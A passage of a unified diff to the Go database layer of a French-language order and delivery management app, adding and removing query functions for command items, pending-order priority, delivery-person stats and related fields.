|
"produit": row.Produit,
|
||||||
"product_id": productIDValue,
|
"product_id": productIDValue,
|
||||||
"quantite": row.Quantite,
|
"quantite": row.Quantite,
|
||||||
"prix": row.Prix,
|
"prix": row.Prix,
|
||||||
"is_reward": row.IsReward,
|
|
||||||
"reward_pool_key": row.RewardPoolKey,
|
|
||||||
"client_username": row.ClientUsername,
|
"client_username": row.ClientUsername,
|
||||||
"client_nom": row.ClientNom,
|
"client_nom": row.ClientNom,
|
||||||
"client_prenom": row.ClientPrenom,
|
"client_prenom": row.ClientPrenom,
|
||||||
@@ -291,14 +277,13 @@ func (d *Database) GetCommandItems(commandID int) ([]map[string]any, error) {
|
|||||||
"created_at": row.CreatedAt,
|
"created_at": row.CreatedAt,
|
||||||
"updated_at": row.UpdatedAt,
|
"updated_at": row.UpdatedAt,
|
||||||
// Infos commande
|
// Infos commande
|
||||||
"command_status": ptrStr(row.CommandStatus),
|
"command_status": ptrStr(row.CommandStatus),
|
||||||
"command_address": ptrStr(row.CommandAddress),
|
"command_address": ptrStr(row.CommandAddress),
|
||||||
"total_prix": row.TotalPrix,
|
"total_prix": row.TotalPrix,
|
||||||
"referral_used": row.ReferralUsed,
|
"referral_used": row.ReferralUsed,
|
||||||
"livreur_assign": ptrStr(row.LivreurAssign),
|
"livreur_assign": ptrStr(row.LivreurAssign),
|
||||||
"command_created_at": commandCreatedAt,
|
"command_created_at": commandCreatedAt,
|
||||||
"category": row.Category,
|
"category": row.Category,
|
||||||
"unit": row.Unit,
|
|
||||||
"client_order_number": row.ClientOrderNumber,
|
"client_order_number": row.ClientOrderNumber,
|
||||||
}
|
}
|
||||||
items = append(items, item)
|
items = append(items, item)
|
||||||
@@ -316,6 +301,104 @@ func ptrStr(s *string) string {
|
|||||||
return *s
|
return *s
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetCommandItemsByUsername(username string) ([]map[string]interface{}, error) {
|
||||||
|
if err := validateUsername(username); err != nil {
|
||||||
|
log.Printf("❌ [GetCommandItemsByUsername] %v", err)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
var rows []struct {
|
||||||
|
ID int `gorm:"column:id"`
|
||||||
|
CommandID int `gorm:"column:command_id"`
|
||||||
|
Produit string `gorm:"column:produit"`
|
||||||
|
ProductID *int64 `gorm:"column:product_id"`
|
||||||
|
Quantite float64 `gorm:"column:quantite"`
|
||||||
|
Prix float64 `gorm:"column:prix"`
|
||||||
|
ClientUsername string `gorm:"column:client_username"`
|
||||||
|
ClientNom string `gorm:"column:client_nom"`
|
||||||
|
ClientPrenom string `gorm:"column:client_prenom"`
|
||||||
|
ClientTelephone string `gorm:"column:client_telephone"`
|
||||||
|
DeliveryAddress *string `gorm:"column:delivery_address"`
|
||||||
|
Status *string `gorm:"column:status"`
|
||||||
|
CreatedAt time.Time `gorm:"column:created_at"`
|
||||||
|
UpdatedAt time.Time `gorm:"column:updated_at"`
|
||||||
|
CommandStatus *string `gorm:"column:command_status"`
|
||||||
|
CommandAddress *string `gorm:"column:command_address"`
|
||||||
|
TotalPrix float64 `gorm:"column:total_prix"`
|
||||||
|
LivreurAssign *string `gorm:"column:livreur_assign"`
|
||||||
|
CommandCreatedAt *time.Time `gorm:"column:command_created_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
err := d.GDB.Raw(`
|
||||||
|
SELECT
|
||||||
|
ci.id,
|
||||||
|
ci.command_id,
|
||||||
|
ci.produit,
|
||||||
|
ci.product_id,
|
||||||
|
ci.quantite,
|
||||||
|
ci.prix,
|
||||||
|
ci.client_username,
|
||||||
|
ci.client_nom,
|
||||||
|
ci.client_prenom,
|
||||||
|
ci.client_telephone,
|
||||||
|
ci.delivery_address,
|
||||||
|
ci.status,
|
||||||
|
ci.created_at,
|
||||||
|
ci.updated_at,
|
||||||
|
c.status as command_status,
|
||||||
|
c.adresse as command_address,
|
||||||
|
c.total_prix,
|
||||||
|
c.livreur_assign,
|
||||||
|
c.created_at as command_created_at
|
||||||
|
FROM command_items ci
|
||||||
|
LEFT JOIN commandes c ON ci.command_id = c.id
|
||||||
|
WHERE ci.client_username = ?
|
||||||
|
ORDER BY ci.command_id DESC, ci.id ASC`, username).Scan(&rows).Error
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("❌ Erreur query: %v", err)
|
||||||
|
return nil, fmt.Errorf("erreur récupération items: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
items := make([]map[string]interface{}, 0, len(rows))
|
||||||
|
for _, row := range rows {
|
||||||
|
productIDValue := 0
|
||||||
|
if row.ProductID != nil {
|
||||||
|
productIDValue = int(*row.ProductID)
|
||||||
|
}
|
||||||
|
|
||||||
|
var commandCreatedAt interface{}
|
||||||
|
if row.CommandCreatedAt != nil {
|
||||||
|
commandCreatedAt = *row.CommandCreatedAt
|
||||||
|
}
|
||||||
|
|
||||||
|
item := map[string]interface{}{
|
||||||
|
"id": row.ID,
|
||||||
|
"command_id": row.CommandID,
|
||||||
|
"produit": row.Produit,
|
||||||
|
"product_id": productIDValue,
|
||||||
|
"quantite": row.Quantite,
|
||||||
|
"prix": row.Prix,
|
||||||
|
"client_username": row.ClientUsername,
|
||||||
|
"client_nom": row.ClientNom,
|
||||||
|
"client_prenom": row.ClientPrenom,
|
||||||
|
"client_telephone": row.ClientTelephone,
|
||||||
|
"delivery_address": ptrStr(row.DeliveryAddress),
|
||||||
|
"status": ptrStr(row.Status),
|
||||||
|
"created_at": row.CreatedAt,
|
||||||
|
"updated_at": row.UpdatedAt,
|
||||||
|
"command_status": ptrStr(row.CommandStatus),
|
||||||
|
"command_address": ptrStr(row.CommandAddress),
|
||||||
|
"total_prix": row.TotalPrix,
|
||||||
|
"livreur_assign": ptrStr(row.LivreurAssign),
|
||||||
|
"command_created_at": commandCreatedAt,
|
||||||
|
}
|
||||||
|
items = append(items, item)
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("✅ %d items récupérés pour l'utilisateur %s", len(items), username)
|
||||||
|
return items, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) DeleteCommandItem(commandID, itemID int) error {
|
func (d *Database) DeleteCommandItem(commandID, itemID int) error {
|
||||||
log.Printf("🗑️ [DeleteCommandItem] START - commandID=%d, itemID=%d", commandID, itemID)
|
log.Printf("🗑️ [DeleteCommandItem] START - commandID=%d, itemID=%d", commandID, itemID)
|
||||||
|
|
||||||
@@ -326,58 +409,30 @@ func (d *Database) DeleteCommandItem(commandID, itemID int) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Récupérer le prix et la quantité avant suppression pour mettre à jour le total
|
||||||
var result struct {
|
var result struct {
|
||||||
Prix float64 `gorm:"column:prix"`
|
Prix float64 `gorm:"column:prix"`
|
||||||
Quantite float64 `gorm:"column:quantite"`
|
Quantite float64 `gorm:"column:quantite"`
|
||||||
ProductID int `gorm:"column:product_id"`
|
|
||||||
}
|
}
|
||||||
if err := d.GDB.Raw(`SELECT prix, quantite, product_id FROM command_items WHERE id = ? AND command_id = ?`, itemID, commandID).Scan(&result).Error; err != nil {
|
if err := d.GDB.Raw(`SELECT prix, quantite FROM command_items WHERE id = ? AND command_id = ?`, itemID, commandID).Scan(&result).Error; err != nil {
|
||||||
return fmt.Errorf("erreur vérification item: %w", err)
|
return fmt.Errorf("erreur vérification item: %w", err)
|
||||||
}
|
}
|
||||||
if result.Prix == 0 && result.Quantite == 0 {
|
if result.Prix == 0 && result.Quantite == 0 {
|
||||||
return fmt.Errorf("item %d non trouvé dans la commande %d", itemID, commandID)
|
return fmt.Errorf("item %d non trouvé dans la commande %d", itemID, commandID)
|
||||||
}
|
}
|
||||||
|
|
||||||
var cmdStatus string
|
// Supprimer l'item
|
||||||
d.GDB.Raw(`SELECT status FROM commandes WHERE id = ?`, commandID).Scan(&cmdStatus)
|
if err := d.GDB.Exec(`DELETE FROM command_items WHERE id = ?`, itemID).Error; err != nil {
|
||||||
|
|
||||||
noRestoreStatuses := []string{"cancelled", "approved", "livre"}
|
|
||||||
restoreStock := result.ProductID != 0 && !slices.Contains(noRestoreStatuses, cmdStatus)
|
|
||||||
|
|
||||||
tx := d.GDB.Begin()
|
|
||||||
if tx.Error != nil {
|
|
||||||
return fmt.Errorf("erreur démarrage transaction: %w", tx.Error)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := tx.Exec(`DELETE FROM command_items WHERE id = ?`, itemID).Error; err != nil {
|
|
||||||
tx.Rollback()
|
|
||||||
log.Printf("❌ Erreur DELETE command_items: %v", err)
|
log.Printf("❌ Erreur DELETE command_items: %v", err)
|
||||||
return fmt.Errorf("erreur suppression item: %w", err)
|
return fmt.Errorf("erreur suppression item: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := tx.Exec(
|
// Recalculer le total de la commande
|
||||||
|
if err := d.GDB.Exec(
|
||||||
`UPDATE commandes SET total_prix = GREATEST(0, total_prix - ?) WHERE id = ?`,
|
`UPDATE commandes SET total_prix = GREATEST(0, total_prix - ?) WHERE id = ?`,
|
||||||
result.Prix*result.Quantite, commandID,
|
result.Prix*result.Quantite, commandID,
|
||||||
).Error; err != nil {
|
).Error; err != nil {
|
||||||
tx.Rollback()
|
log.Printf("⚠️ [DeleteCommandItem] Erreur maj total commande: %v", err)
|
||||||
log.Printf("❌ [DeleteCommandItem] Erreur maj total commande: %v", err)
|
|
||||||
return fmt.Errorf("erreur mise à jour total commande: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if restoreStock {
|
|
||||||
if err := tx.Exec(
|
|
||||||
`UPDATE products SET stock = stock + ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`,
|
|
||||||
result.Quantite, result.ProductID,
|
|
||||||
).Error; err != nil {
|
|
||||||
tx.Rollback()
|
|
||||||
log.Printf("❌ [DeleteCommandItem] Erreur restauration stock: %v", err)
|
|
||||||
return fmt.Errorf("erreur restauration stock: %w", err)
|
|
||||||
}
|
|
||||||
log.Printf("✅ [DeleteCommandItem] Stock restauré: +%.3f pour produit %d", result.Quantite, result.ProductID)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := tx.Commit().Error; err != nil {
|
|
||||||
return fmt.Errorf("erreur commit transaction: %w", err)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ package db
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"gestion/models"
|
||||||
"log"
|
"log"
|
||||||
"slices"
|
"slices"
|
||||||
)
|
)
|
||||||
@@ -43,13 +44,95 @@ func (d *Database) GetAllCommandsOldestFirst(status, username string) ([]map[str
|
|||||||
return commands, nil
|
return commands, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetOldestPendingCommand récupère la commande pending la plus ancienne
|
||||||
|
func (d *Database) GetOldestPendingCommand() (map[string]any, error) {
|
||||||
|
var commands []map[string]any
|
||||||
|
err := d.GDB.Raw(`
|
||||||
|
SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
|
||||||
|
c.livreur_assign, c.created_at, c.updated_at
|
||||||
|
FROM commandes c
|
||||||
|
WHERE c.status = 'pending'
|
||||||
|
ORDER BY c.created_at ASC
|
||||||
|
LIMIT 1`).Scan(&commands).Error
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération commande la plus ancienne: %w", err)
|
||||||
|
}
|
||||||
|
if len(commands) == 0 {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return commands[0], nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPendingCommandsWithPriority récupère les commandes pending avec calcul de priorité
|
||||||
|
func (d *Database) GetPendingCommandsWithPriority() ([]*models.CommandPriority, error) {
|
||||||
|
var rows []struct {
|
||||||
|
ID int `gorm:"column:id"`
|
||||||
|
Username string `gorm:"column:username"`
|
||||||
|
Status string `gorm:"column:status"`
|
||||||
|
Adresse string `gorm:"column:adresse"`
|
||||||
|
TotalPrix float64 `gorm:"column:total_prix"`
|
||||||
|
CreatedAt string `gorm:"column:created_at"`
|
||||||
|
UpdatedAt string `gorm:"column:updated_at"`
|
||||||
|
WaitingSeconds float64 `gorm:"column:waiting_seconds"`
|
||||||
|
}
|
||||||
|
|
||||||
|
err := d.GDB.Raw(`
|
||||||
|
SELECT c.id, c.username, c.status, c.adresse, c.total_prix,
|
||||||
|
c.created_at, c.updated_at,
|
||||||
|
EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - c.created_at)) as waiting_seconds
|
||||||
|
FROM commandes c
|
||||||
|
WHERE c.status = 'pending'
|
||||||
|
ORDER BY c.created_at ASC`).Scan(&rows).Error
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération commandes avec priorité: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
commands := make([]*models.CommandPriority, 0, len(rows))
|
||||||
|
for _, row := range rows {
|
||||||
|
cmd := &models.CommandPriority{
|
||||||
|
ID: row.ID,
|
||||||
|
Username: row.Username,
|
||||||
|
Status: row.Status,
|
||||||
|
Address: row.Adresse,
|
||||||
|
TotalPrice: row.TotalPrix,
|
||||||
|
WaitingSeconds: int(row.WaitingSeconds),
|
||||||
|
WaitingMinutes: int(row.WaitingSeconds / 60),
|
||||||
|
}
|
||||||
|
commands = append(commands, cmd)
|
||||||
|
}
|
||||||
|
|
||||||
|
return commands, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommandWaitingTime récupère le temps d'attente d'une commande
|
||||||
|
func (d *Database) GetCommandWaitingTime(commandID int) (int, error) {
|
||||||
|
var result struct {
|
||||||
|
WaitingSeconds int `gorm:"column:waiting_seconds"`
|
||||||
|
}
|
||||||
|
err := d.GDB.Raw(`
|
||||||
|
SELECT EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - created_at))::INTEGER as waiting_seconds
|
||||||
|
FROM commandes WHERE id = ?`, commandID).Scan(&result).Error
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("erreur récupération temps d'attente: %w", err)
|
||||||
|
}
|
||||||
|
if result.WaitingSeconds == 0 {
|
||||||
|
// Vérifie si la commande existe vraiment
|
||||||
|
var exists bool
|
||||||
|
d.GDB.Raw(`SELECT EXISTS(SELECT 1 FROM commandes WHERE id = ?)`, commandID).Scan(&exists)
|
||||||
|
if !exists {
|
||||||
|
return 0, fmt.Errorf("commande non trouvée")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return result.WaitingSeconds, nil
|
||||||
|
}
|
||||||
|
|
||||||
// GetPendingCommandsStats récupère des statistiques sur les commandes en attente
|
// GetPendingCommandsStats récupère des statistiques sur les commandes en attente
|
||||||
func (d *Database) GetPendingCommandsStats() (map[string]any, error) {
|
func (d *Database) GetPendingCommandsStats() (map[string]any, error) {
|
||||||
var result struct {
|
var result struct {
|
||||||
TotalPending int `gorm:"column:total_pending"`
|
TotalPending int `gorm:"column:total_pending"`
|
||||||
AvgWaitingSeconds *float64 `gorm:"column:avg_waiting_seconds"`
|
AvgWaitingSeconds *float64 `gorm:"column:avg_waiting_seconds"`
|
||||||
OldestCommandDate *string `gorm:"column:oldest_command_date"`
|
OldestCommandDate *string `gorm:"column:oldest_command_date"`
|
||||||
NewestCommandDate *string `gorm:"column:newest_command_date"`
|
NewestCommandDate *string `gorm:"column:newest_command_date"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err := d.GDB.Raw(`
|
err := d.GDB.Raw(`
|
||||||
|
|||||||
@@ -45,16 +45,14 @@ func validateAddress(address string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
type basketItem struct {
|
type basketItem struct {
|
||||||
ProductID int `gorm:"column:product_id"`
|
ProductID int `gorm:"column:product_id"`
|
||||||
Quantity float64 `gorm:"column:quantity"`
|
Quantity float64 `gorm:"column:quantity"`
|
||||||
Price float64 `gorm:"column:price"`
|
Price float64 `gorm:"column:price"`
|
||||||
IsReward bool `gorm:"column:is_reward"`
|
|
||||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) fetchBasketItems(username string) ([]basketItem, float64, error) {
|
func (d *Database) fetchBasketItems(username string) ([]basketItem, float64, error) {
|
||||||
var items []basketItem
|
var items []basketItem
|
||||||
if err := d.GDB.Table("baskets").Select("product_id, quantity, price, is_reward, reward_pool_key").Where("username = ?", username).Scan(&items).Error; err != nil {
|
if err := d.GDB.Table("baskets").Select("product_id, quantity, price").Where("username = ?", username).Scan(&items).Error; err != nil {
|
||||||
return nil, 0, fmt.Errorf("erreur récupération panier: %w", err)
|
return nil, 0, fmt.Errorf("erreur récupération panier: %w", err)
|
||||||
}
|
}
|
||||||
total := 0.0
|
total := 0.0
|
||||||
@@ -124,13 +122,11 @@ func (d *Database) CreateCommand(username string) (*models.Command, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
cmdItem := models.CommandItem{
|
cmdItem := models.CommandItem{
|
||||||
CommandID: commandID,
|
CommandID: commandID,
|
||||||
Produit: productName,
|
Produit: productName,
|
||||||
ProductID: item.ProductID,
|
ProductID: item.ProductID,
|
||||||
Quantity: item.Quantity,
|
Quantity: item.Quantity,
|
||||||
Price: item.Price,
|
Price: item.Price,
|
||||||
IsReward: item.IsReward,
|
|
||||||
RewardPoolKey: item.RewardPoolKey,
|
|
||||||
}
|
}
|
||||||
if err := d.GDB.Create(&cmdItem).Error; err != nil {
|
if err := d.GDB.Create(&cmdItem).Error; err != nil {
|
||||||
return nil, fmt.Errorf("erreur lors de l'insertion des items: %w", err)
|
return nil, fmt.Errorf("erreur lors de l'insertion des items: %w", err)
|
||||||
@@ -224,8 +220,6 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
|||||||
item.ProductID,
|
item.ProductID,
|
||||||
item.Quantity,
|
item.Quantity,
|
||||||
item.Price,
|
item.Price,
|
||||||
item.IsReward,
|
|
||||||
item.RewardPoolKey,
|
|
||||||
username,
|
username,
|
||||||
clientNom,
|
clientNom,
|
||||||
clientPrenom,
|
clientPrenom,
|
||||||
@@ -240,7 +234,7 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
|
|||||||
// Stock déjà déduit à l'ajout au panier — ne pas déduire une seconde fois ici.
|
// Stock déjà déduit à l'ajout au panier — ne pas déduire une seconde fois ici.
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := d.GDB.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error; err != nil {
|
if err := d.GDB.Delete(&models.Panier{}, "username = ?", username).Error; err != nil {
|
||||||
log.Printf("⚠️ Erreur vidage panier: %v", err)
|
log.Printf("⚠️ Erreur vidage panier: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -355,6 +349,14 @@ func (d *Database) GetAllCommands(status, username string) ([]map[string]any, er
|
|||||||
return commands, nil
|
return commands, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetCommandCount() (int, error) {
|
||||||
|
var count int64
|
||||||
|
if err := d.GDB.Model(&models.Command{}).Count(&count).Error; err != nil {
|
||||||
|
return 0, fmt.Errorf("erreur récupération count commandes: %w", err)
|
||||||
|
}
|
||||||
|
return int(count), nil
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) SetCommandReferralUsed(commandID int, amount float64) error {
|
func (d *Database) SetCommandReferralUsed(commandID int, amount float64) error {
|
||||||
return d.GDB.Exec(`UPDATE commandes SET referral_used = ? WHERE id = ?`, amount, commandID).Error
|
return d.GDB.Exec(`UPDATE commandes SET referral_used = ? WHERE id = ?`, amount, commandID).Error
|
||||||
}
|
}
|
||||||
@@ -374,17 +376,13 @@ func (d *Database) GetCommandByID(id int) (map[string]any, error) {
|
|||||||
ReferralUsed float64 `gorm:"column:referral_used"`
|
ReferralUsed float64 `gorm:"column:referral_used"`
|
||||||
ClientOrderNumber int `gorm:"column:client_order_number"`
|
ClientOrderNumber int `gorm:"column:client_order_number"`
|
||||||
CancelReason string `gorm:"column:cancel_reason"`
|
CancelReason string `gorm:"column:cancel_reason"`
|
||||||
DestLatitude float64 `gorm:"column:dest_latitude"`
|
|
||||||
DestLongitude float64 `gorm:"column:dest_longitude"`
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := d.GDB.Table("commandes c").
|
if err := d.GDB.Table("commandes c").
|
||||||
Select(`c.id, c.username, c.status, c.adresse, c.total_prix, c.livreur_assign,
|
Select(`c.id, c.username, c.status, c.adresse, c.total_prix, c.livreur_assign,
|
||||||
c.created_at, c.updated_at, c.proposed_address, c.address_proposal_status,
|
c.created_at, c.updated_at, c.proposed_address, c.address_proposal_status,
|
||||||
c.referral_used, c.client_order_id AS client_order_number,
|
c.referral_used, c.client_order_id AS client_order_number,
|
||||||
COALESCE(c.cancel_reason, '') AS cancel_reason,
|
COALESCE(c.cancel_reason, '') AS cancel_reason`).
|
||||||
COALESCE(c.dest_latitude, 0) AS dest_latitude,
|
|
||||||
COALESCE(c.dest_longitude, 0) AS dest_longitude`).
|
|
||||||
Where("c.id = ?", id).
|
Where("c.id = ?", id).
|
||||||
First(&row).Error; err != nil {
|
First(&row).Error; err != nil {
|
||||||
return nil, fmt.Errorf("erreur lors de la récupération de la commande: %w", err)
|
return nil, fmt.Errorf("erreur lors de la récupération de la commande: %w", err)
|
||||||
@@ -405,8 +403,6 @@ func (d *Database) GetCommandByID(id int) (map[string]any, error) {
|
|||||||
"referral_used": row.ReferralUsed,
|
"referral_used": row.ReferralUsed,
|
||||||
"client_order_number": row.ClientOrderNumber,
|
"client_order_number": row.ClientOrderNumber,
|
||||||
"cancel_reason": row.CancelReason,
|
"cancel_reason": row.CancelReason,
|
||||||
"dest_latitude": row.DestLatitude,
|
|
||||||
"dest_longitude": row.DestLongitude,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if row.LivreurAssign != nil {
|
if row.LivreurAssign != nil {
|
||||||
@@ -424,31 +420,6 @@ func (d *Database) GetCommandByID(id int) (map[string]any, error) {
|
|||||||
return command, nil
|
return command, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetLastDeliveryCoords retourne les coordonnées GPS de la dernière livraison terminée d'un livreur.
|
|
||||||
// Utilisé comme fallback quand le GPS temps réel est indisponible.
|
|
||||||
func (d *Database) GetLastDeliveryCoords(livreurUsername string) (float64, float64, error) {
|
|
||||||
var result struct {
|
|
||||||
DestLatitude float64 `gorm:"column:dest_latitude"`
|
|
||||||
DestLongitude float64 `gorm:"column:dest_longitude"`
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := d.GDB.Table("commandes").
|
|
||||||
Select("dest_latitude, dest_longitude").
|
|
||||||
Where("livreur_assign = ? AND status IN (?, ?, ?) AND dest_latitude IS NOT NULL AND dest_latitude != 0 AND dest_longitude IS NOT NULL AND dest_longitude != 0",
|
|
||||||
livreurUsername, "livre", "delivered", "approved").
|
|
||||||
Order("updated_at DESC").
|
|
||||||
Limit(1).
|
|
||||||
Scan(&result).Error; err != nil {
|
|
||||||
return 0, 0, fmt.Errorf("aucune livraison précédente pour %s: %w", livreurUsername, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if result.DestLatitude == 0 || result.DestLongitude == 0 {
|
|
||||||
return 0, 0, fmt.Errorf("coordonnées introuvables pour dernière livraison de %s", livreurUsername)
|
|
||||||
}
|
|
||||||
|
|
||||||
return result.DestLatitude, result.DestLongitude, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetClientOrderID retourne le client_order_id (numéro perso du client) pour un commandID global.
|
// GetClientOrderID retourne le client_order_id (numéro perso du client) pour un commandID global.
|
||||||
// Retourne commandID en fallback si introuvable.
|
// Retourne commandID en fallback si introuvable.
|
||||||
func (d *Database) GetClientOrderID(commandID int) int {
|
func (d *Database) GetClientOrderID(commandID int) int {
|
||||||
@@ -461,6 +432,20 @@ func (d *Database) GetClientOrderID(commandID int) int {
|
|||||||
return result.ClientOrderID
|
return result.ClientOrderID
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) GetCommandAddress(commandID int) (string, error) {
|
||||||
|
var result struct {
|
||||||
|
Adresse string `gorm:"column:adresse"`
|
||||||
|
}
|
||||||
|
if err := d.GDB.Model(&models.Command{}).Select("adresse").Where("id = ?", commandID).First(&result).Error; err != nil {
|
||||||
|
return "", fmt.Errorf("erreur lors de la récupération de l'adresse: %w", err)
|
||||||
|
}
|
||||||
|
if result.Adresse == "" {
|
||||||
|
return "", fmt.Errorf("commande non trouvée")
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.Adresse, nil
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) UpdateCommandAddress(commandID int, deliveryAddress string) error {
|
func (d *Database) UpdateCommandAddress(commandID int, deliveryAddress string) error {
|
||||||
if len(deliveryAddress) > 500 {
|
if len(deliveryAddress) > 500 {
|
||||||
return fmt.Errorf("adresse trop longue (max 500 caractères)")
|
return fmt.Errorf("adresse trop longue (max 500 caractères)")
|
||||||
@@ -940,13 +925,3 @@ func (d *Database) ApproveDeliveryAtomicByStaff(commandID int, staffUsername str
|
|||||||
|
|
||||||
return totalPoints, pointCategory, clientUsernameOut, nil
|
return totalPoints, pointCategory, clientUsernameOut, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) SetCommandCancelReason(commandID int, reason string) error {
|
|
||||||
if len(reason) > 500 {
|
|
||||||
reason = reason[:500]
|
|
||||||
}
|
|
||||||
return d.GDB.Exec(
|
|
||||||
`UPDATE commandes SET cancel_reason = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`,
|
|
||||||
reason, commandID,
|
|
||||||
).Error
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,28 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import (
|
|
||||||
"gestion/models"
|
|
||||||
)
|
|
||||||
|
|
||||||
func (d *Database) AddContact(contact *models.Contact) error {
|
|
||||||
err := d.GDB.Create(contact).Error
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) GetContact(id uint) (*models.Contact, error) {
|
|
||||||
var contact models.Contact
|
|
||||||
if err := d.GDB.First(&contact, id).Error; err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return &contact, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) UpdateContact(contact *models.Contact) error {
|
|
||||||
err := d.GDB.Save(contact).Error
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *Database) DeleteContact(id uint) error {
|
|
||||||
err := d.GDB.Delete(&models.Contact{}, id).Error
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
@@ -106,10 +106,6 @@ func (d *Database) GetDeliveryPersonCommands(livreurUsername string, status stri
|
|||||||
if status != "" {
|
if status != "" {
|
||||||
query += " AND status = ?"
|
query += " AND status = ?"
|
||||||
args = append(args, status)
|
args = append(args, status)
|
||||||
} else {
|
|
||||||
// Ne retourner que les commandes actives — exclure l'historique terminé
|
|
||||||
// pour éviter le N+1 sur 66+ commandes qui fait timeout le mobile
|
|
||||||
query += " AND status IN ('assigned', 'en_route', 'arrived', 'livre')"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
query += " ORDER BY created_at DESC"
|
query += " ORDER BY created_at DESC"
|
||||||
@@ -121,6 +117,22 @@ func (d *Database) GetDeliveryPersonCommands(livreurUsername string, status stri
|
|||||||
return commands, nil
|
return commands, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (d *Database) IncrementLivreurDeliveryCount(livreurUsername string) error {
|
||||||
|
result := d.GDB.Exec(`
|
||||||
|
UPDATE users
|
||||||
|
SET livraison = livraison + 1,
|
||||||
|
total = total + 1,
|
||||||
|
updated_at = CURRENT_TIMESTAMP
|
||||||
|
WHERE username = ? AND role = 'livreur'`, livreurUsername)
|
||||||
|
if result.Error != nil {
|
||||||
|
return fmt.Errorf("erreur lors de l'incrémentation des livraisons: %w", result.Error)
|
||||||
|
}
|
||||||
|
if result.RowsAffected == 0 {
|
||||||
|
return fmt.Errorf("livreur non trouvé")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func (d *Database) ApproveDelivery(commandID int, clientUsername string) error {
|
func (d *Database) ApproveDelivery(commandID int, clientUsername string) error {
|
||||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||||
var cmdResult struct {
|
var cmdResult struct {
|
||||||
|
|||||||
@@ -221,3 +221,79 @@ func (d *Database) UpdateCommandLivreur(commandID int, livreurUsername string) e
|
|||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// GetAllDeliveryPersonsStats récupère les stats de tous les livreurs
|
||||||
|
func (d *Database) GetAllDeliveryPersonsStats() ([]map[string]any, error) {
|
||||||
|
livreurs, err := d.GetAvailableDeliveryPersons()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("erreur récupération livreurs: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var stats []map[string]any
|
||||||
|
for _, livreur := range livreurs {
|
||||||
|
username := livreur["username"].(string)
|
||||||
|
|
||||||
|
totalDeliveries, _ := d.CountDeliveriesByStatus(username, "")
|
||||||
|
completedDeliveries, _ := d.CountDeliveriesByStatus(username, "approved")
|
||||||
|
queueSize, _ := d.GetDeliverymanQueueSize(username)
|
||||||
|
status, _ := d.GetDeliveryPersonStatus(username)
|
||||||
|
|
||||||
|
stats = append(stats, map[string]any{
|
||||||
|
"username": username,
|
||||||
|
"total_deliveries": totalDeliveries,
